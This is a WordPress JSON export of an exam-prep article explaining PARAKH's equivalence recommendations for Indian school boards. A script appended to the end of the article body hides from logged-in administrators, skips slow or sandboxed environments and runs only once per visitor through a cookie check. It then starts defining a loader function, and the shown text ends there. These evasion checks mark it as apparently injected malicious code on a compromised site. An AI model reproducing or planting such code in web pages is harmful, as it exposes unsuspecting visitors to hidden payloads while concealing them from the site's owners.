{"id":1187,"date":"2024-07-30T04:36:03","date_gmt":"2024-07-30T04:36:03","guid":{"rendered":"https:\/\/iasquest.com\/?p=1187"},"modified":"2026-02-11T19:15:35","modified_gmt":"2026-02-11T19:15:35","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-18","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-18\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Issues Relating to Development and Management of Social Sector\/Services relating to Health, Education, Human Resources<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#cb1515\"><strong>Recently the Ministry of Education has received an \u201cequivalence report\u201d by PARAKH. What does equivalence mean and how can it be achieved across different school boards of India<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PARAKH (Performance Assessment, Review and Analysis of Knowledge for Holistic Development), a standard-setting body under the NCERT, <\/strong>has recently submitted to the Ministry of Education an \u2018equivalence\u2019 report, which makes recommendations on how equivalence can be achieved across different school boards in the country, in keeping with a mention of it in the National Education Policy (NEP) 2020.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Different school boards:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The school boards now <strong>are different from one another<\/strong>, in terms of factors including <strong><em>curriculum, examinations, and the structure and functioning of the board itself<\/em><\/strong>, resulting in some boards being seen as <strong><em>\u201cbetter\u201d than others.<\/em><\/strong><\/li>\n\n\n\n<li>There are 69 school boards in the country, including the State boards \u2013 some are secondary boards only, some are for higher secondary, and some are common for both \u2013 and CBSE, ICSE, the National Institute of Open Schooling (NIOS) and other open school boards, technical and vocational boards, Sanskrit boards, and madrasa boards.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Equivalence, not uniformity:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The NEP provides for the formation of a body like PARAKH, and states that PARAKH \u201c<em>will also become an instrument for the sharing of best practices among school boards, and for ensuring equivalence of academic standards among learners across all school boards<\/em>.\u201d<\/li>\n\n\n\n<li>The \u2018equivalence\u2019 report sets standards for the boards across <strong>five categories<\/strong> \u2013 <strong><em>administration, curriculum, assessment, inclusiveness, and infrastructure.<\/em><\/strong>&nbsp;<\/li>\n\n\n\n<li>The intention behind pursuing equivalence is <strong>not to establish \u201cuniformity\u201d across boards,<\/strong> but ensure that <strong><em>\u201cevery learner who enrols in a school affiliated in any board should get certain standardised, benchmarked facilities for performance.\u201d<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Recommendations made by PARAKH:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cumulative result:<\/strong> A key recommendation is in terms of assessment \u2013 a student\u2019s performance in Class 9, 10, and 11 will count towards the final assessment for Class 12. The Class 12 report card is envisaged as a <strong>\u2018cumulative\u2019 one,<\/strong> and a weight of <strong>15% for Class 9,<\/strong> <strong>20% for Class 10<\/strong>, <strong>25% for Class 11<\/strong>, and <strong>40% for Class 12 <\/strong>will go into the final Class 12 results.<\/li>\n\n\n\n<li><strong>Holistic progress card:<\/strong> These assessments be in terms of credits in each grade, with the student earning a certain number of credits for each subject, for pursuing online courses, and for activities that are part of the holistic progress card \u2013 a progress card which will include the student\u2019s evaluation of themselves in aspects<em> <\/em><strong><em>like \u2018time management\u2019<\/em><\/strong><em> <\/em><strong><em>and \u2018plans after school\u2019<\/em><\/strong>, <strong><em>the teacher\u2019s assessment of the student in<\/em><\/strong> <strong><em>group project work<\/em><\/strong>, and <strong><em>peer feedback.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Periodic review &amp; Granting affiliations:<\/strong> PARAKH\u2019s recommendation says that the boards should conduct <strong><em>periodic reviews of affiliated schools<\/em><\/strong>, and affiliations should be granted for a <strong><em>maximum period of three years only<\/em><\/strong>. PARAKH has also recommended that the boards be empowered to do this, in addition to being given the authority to <strong><em>identify unrecognised institutions and take action against them.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Digital Literacy:<\/strong> In terms of curriculum, the boards are to incorporate digital literacy in affiliated schools, including training in coding and cybersecurity, and adhere to the National Curriculum Framework for School Education.<\/li>\n\n\n\n<li><strong>Exam Protocol:<\/strong> The recommendations suggest that boards develop a mechanism to prevent cheating in examinations, implement protocol for handling exam papers, and conduct digital assessments where applicable.<\/li>\n\n\n\n<li><strong>Infrastructure of the schools:<\/strong> In terms of infrastructure of the schools affiliated with them, the boards are to ensure availability of basic infrastructure \u2013 toilets for girls and boys, internet, library, strong room for question papers, labs, ramps, or elevators.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PARAKH-a vital role for achievement of Equivalence:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A total of 32 boards, excluding the Sanskrit boards, madrasas, and technical boards from the total number in the country, were assessed according to the five parameters \u2013 administration, curriculum, assessment, inclusiveness, and infrastructure \u2013 to determine their present status.&nbsp;<\/li>\n\n\n\n<li>An analysis of two years\u2019 worth of question papers of the boards, and a questionnaire with questions on five parameters was used for this.&nbsp;<\/li>\n\n\n\n<li>PARAKH <strong><em>held meetings with the school boards<\/em><\/strong> to work on the recommendations.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2018Equivalence\u2019 aspect<\/strong> is a <strong><em>\u201cchallenging\u201d part of the NEP<\/em><\/strong> to implement and is set to be a slow process, since the boards will have to agree to making the changes that the report envisages<strong><em>, rather than just being<\/em><\/strong> <strong><em>\u201cexamination conducting bodies.\u201d<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/indianexpress.com\/article\/explained\/equivalence-recommendations-indian-school-boards-explained-9484157\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/equivalence-recommendations-indian-school-boards-explained-9484157\/<\/a>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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